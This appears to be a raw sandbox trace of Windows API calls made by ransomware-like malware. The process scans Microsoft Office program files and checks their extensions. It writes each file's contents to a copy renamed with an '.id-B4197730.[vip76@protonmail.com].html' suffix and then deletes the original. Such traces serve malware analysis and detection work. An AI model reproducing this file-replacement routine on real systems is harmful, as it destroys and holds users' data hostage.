	[0179.133] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0179.133] lstrlenW (lpString=".ppt") returned 4
	[0179.133] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0179.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll") returned 78
	[0179.133] lstrlenW (lpString=".zip") returned 4
	[0179.133] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0179.133] lstrlenW (lpString=".rar") returned 4
	[0179.133] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0179.133] lstrlenW (lpString=".bz2") returned 4
	[0179.133] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0179.133] lstrlenW (lpString=".7z") returned 3
	[0179.134] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0179.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll") returned 78
	[0179.134] lstrlenW (lpString=".dbf") returned 4
	[0179.134] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0179.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll") returned 78
	[0179.134] lstrlenW (lpString=".1cd") returned 4
	[0179.134] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0179.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll") returned 78
	[0179.134] lstrlenW (lpString=".jpg") returned 4
	[0179.134] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0179.135] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0179.135] lstrlenW (lpString="api-ms-win-crt-math-l1-1-0.dll") returned 30
	[0179.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0179.136] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=27840) returned 1
	[0179.136] CloseHandle (hObject=0x5bc) returned 1
	[0179.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll")) returned 0x220
	[0179.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0179.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 76
	[0179.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 76
	[0179.136] lstrlenW (lpString=".doc") returned 4
	[0179.136] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0179.136] lstrlenW (lpString=".docx") returned 5
	[0179.136] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0179.137] lstrlenW (lpString=".pdf") returned 4
	[0179.137] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0179.137] lstrlenW (lpString=".xls") returned 4
	[0179.137] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0179.137] lstrlenW (lpString=".xlsx") returned 5
	[0179.137] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0179.137] lstrlenW (lpString=".ppt") returned 4
	[0179.137] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0179.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 76
	[0179.137] lstrlenW (lpString=".zip") returned 4
	[0179.137] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0179.137] lstrlenW (lpString=".rar") returned 4
	[0179.137] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0179.137] lstrlenW (lpString=".bz2") returned 4
	[0179.137] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0179.137] lstrlenW (lpString=".7z") returned 3
	[0179.137] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0179.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 76
	[0179.137] lstrlenW (lpString=".dbf") returned 4
	[0179.137] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0179.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 76
	[0179.137] lstrlenW (lpString=".1cd") returned 4
	[0179.137] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0179.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 76
	[0179.137] lstrlenW (lpString=".jpg") returned 4
	[0179.137] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0179.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 76
	[0179.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 76
	[0179.137] lstrlenW (lpString=".doc") returned 4
	[0179.137] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0179.137] lstrlenW (lpString=".docx") returned 5
	[0179.137] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0179.137] lstrlenW (lpString=".pdf") returned 4
	[0179.138] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0179.138] lstrlenW (lpString=".xls") returned 4
	[0179.138] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0179.138] lstrlenW (lpString=".xlsx") returned 5
	[0179.138] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0179.138] lstrlenW (lpString=".ppt") returned 4
	[0179.138] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0179.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 76
	[0179.138] lstrlenW (lpString=".zip") returned 4
	[0179.138] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0179.138] lstrlenW (lpString=".rar") returned 4
	[0179.138] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0179.138] lstrlenW (lpString=".bz2") returned 4
	[0179.138] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0179.138] lstrlenW (lpString=".7z") returned 3
	[0179.138] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0179.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 76
	[0179.138] lstrlenW (lpString=".dbf") returned 4
	[0179.138] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0179.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 76
	[0179.138] lstrlenW (lpString=".1cd") returned 4
	[0179.138] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0179.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 76
	[0179.138] lstrlenW (lpString=".jpg") returned 4
	[0179.138] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0179.138] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0179.138] lstrlenW (lpString="api-ms-win-crt-multibyte-l1-1-0.dll") returned 35
	[0179.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0179.139] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=26816) returned 1
	[0179.139] CloseHandle (hObject=0x5bc) returned 1
	[0179.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 0x220
	[0179.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0179.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81
	[0179.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81
	[0179.139] lstrlenW (lpString=".doc") returned 4
	[0179.139] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0179.139] lstrlenW (lpString=".docx") returned 5
	[0179.139] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0179.140] lstrlenW (lpString=".pdf") returned 4
	[0179.140] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0179.140] lstrlenW (lpString=".xls") returned 4
	[0179.140] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0179.140] lstrlenW (lpString=".xlsx") returned 5
	[0179.140] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0179.140] lstrlenW (lpString=".ppt") returned 4
	[0179.140] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0179.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81
	[0179.140] lstrlenW (lpString=".zip") returned 4
	[0179.140] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0179.140] lstrlenW (lpString=".rar") returned 4
	[0179.140] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0179.140] lstrlenW (lpString=".bz2") returned 4
	[0179.140] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0179.140] lstrlenW (lpString=".7z") returned 3
	[0179.140] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0179.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81
	[0179.140] lstrlenW (lpString=".dbf") returned 4
	[0179.140] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0179.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81
	[0179.140] lstrlenW (lpString=".1cd") returned 4
	[0179.140] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0179.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81
	[0179.140] lstrlenW (lpString=".jpg") returned 4
	[0179.140] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0179.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81
	[0179.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81
	[0179.140] lstrlenW (lpString=".doc") returned 4
	[0179.140] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0179.140] lstrlenW (lpString=".docx") returned 5
	[0179.141] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0179.141] lstrlenW (lpString=".pdf") returned 4
	[0179.141] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0179.141] lstrlenW (lpString=".xls") returned 4
	[0179.141] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0179.141] lstrlenW (lpString=".xlsx") returned 5
	[0179.141] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0179.141] lstrlenW (lpString=".ppt") returned 4
	[0179.141] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0179.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81
	[0179.141] lstrlenW (lpString=".zip") returned 4
	[0179.141] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0179.141] lstrlenW (lpString=".rar") returned 4
	[0179.141] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0179.141] lstrlenW (lpString=".bz2") returned 4
	[0179.141] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0179.141] lstrlenW (lpString=".7z") returned 3
	[0179.141] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0179.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81
	[0179.141] lstrlenW (lpString=".dbf") returned 4
	[0179.141] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0179.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81
	[0179.141] lstrlenW (lpString=".1cd") returned 4
	[0179.141] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0179.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81
	[0179.141] lstrlenW (lpString=".jpg") returned 4
	[0179.141] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0179.142] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0179.142] lstrlenW (lpString="api-ms-win-crt-private-l1-1-0.dll") returned 33
	[0179.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0179.142] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=70848) returned 1
	[0179.142] CloseHandle (hObject=0x5bc) returned 1
	[0179.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll")) returned 0x220
	[0179.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0179.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79
	[0179.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79
	[0179.143] lstrlenW (lpString=".doc") returned 4
	[0179.143] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0179.143] lstrlenW (lpString=".docx") returned 5
	[0179.143] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0179.143] lstrlenW (lpString=".pdf") returned 4
	[0179.143] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0179.143] lstrlenW (lpString=".xls") returned 4
	[0179.143] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0179.143] lstrlenW (lpString=".xlsx") returned 5
	[0179.143] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0179.143] lstrlenW (lpString=".ppt") returned 4
	[0179.143] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0179.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79
	[0179.143] lstrlenW (lpString=".zip") returned 4
	[0179.143] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0179.143] lstrlenW (lpString=".rar") returned 4
	[0179.143] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0179.143] lstrlenW (lpString=".bz2") returned 4
	[0179.143] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0179.143] lstrlenW (lpString=".7z") returned 3
	[0179.143] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0179.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79
	[0179.144] lstrlenW (lpString=".dbf") returned 4
	[0179.144] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0179.151] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0179.153] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0179.191] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=7384) returned 1
	[0179.191] CloseHandle (hObject=0x4a8) returned 1
	[0179.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid")) returned 0x220
	[0179.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0179.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0179.743] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.743] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0179.916] GetLastError () returned 0x0
	[0179.916] ReadFile (in: hFile=0x368, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x1cd8, lpOverlapped=0x0) returned 1
	[0179.920] WriteFile (in: hFile=0x5bc, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x1ce0, lpOverlapped=0x0) returned 1
	[0179.921] ReadFile (in: hFile=0x368, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.921] WriteFile (in: hFile=0x5bc, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xea, lpOverlapped=0x0) returned 1
	[0179.921] SetEndOfFile (hFile=0x5bc) returned 1
	[0179.921] CloseHandle (hObject=0x5bc) returned 1
	[0179.921] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.921] SetEndOfFile (hFile=0x368) returned 1
	[0179.924] CloseHandle (hObject=0x368) returned 1
	[0179.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0179.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid")) returned 1
	[0179.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0179.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0179.926] lstrlenW (lpString=".doc") returned 4
	[0179.926] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0179.926] lstrlenW (lpString=".docx") returned 5
	[0179.926] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0179.926] lstrlenW (lpString=".pdf") returned 4
	[0179.926] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0179.926] lstrlenW (lpString=".xls") returned 4
	[0179.926] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0179.926] lstrlenW (lpString=".xlsx") returned 5
	[0179.926] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0179.926] lstrlenW (lpString=".ppt") returned 4
	[0179.926] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0179.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0179.926] lstrlenW (lpString=".zip") returned 4
	[0179.926] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0179.926] lstrlenW (lpString=".rar") returned 4
	[0179.926] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0179.926] lstrlenW (lpString=".bz2") returned 4
	[0179.926] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0179.926] lstrlenW (lpString=".7z") returned 3
	[0179.926] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0179.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0179.926] lstrlenW (lpString=".dbf") returned 4
	[0179.926] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0179.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0179.926] lstrlenW (lpString=".1cd") returned 4
	[0179.927] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0179.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0179.927] lstrlenW (lpString=".jpg") returned 4
	[0179.927] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0179.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0179.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0179.927] lstrlenW (lpString=".doc") returned 4
	[0179.927] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0179.927] lstrlenW (lpString=".docx") returned 5
	[0179.927] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0179.927] lstrlenW (lpString=".pdf") returned 4
	[0179.927] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0179.927] lstrlenW (lpString=".xls") returned 4
	[0179.927] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0179.927] lstrlenW (lpString=".xlsx") returned 5
	[0179.927] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0179.927] lstrlenW (lpString=".ppt") returned 4
	[0179.927] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0179.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0179.927] lstrlenW (lpString=".zip") returned 4
	[0179.927] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0179.927] lstrlenW (lpString=".rar") returned 4
	[0179.927] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0179.927] lstrlenW (lpString=".bz2") returned 4
	[0179.927] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0179.927] lstrlenW (lpString=".7z") returned 3
	[0179.927] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0179.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0179.927] lstrlenW (lpString=".dbf") returned 4
	[0179.927] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0179.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0179.927] lstrlenW (lpString=".1cd") returned 4
	[0179.928] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0179.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0179.928] lstrlenW (lpString=".jpg") returned 4
	[0179.928] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0179.928] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
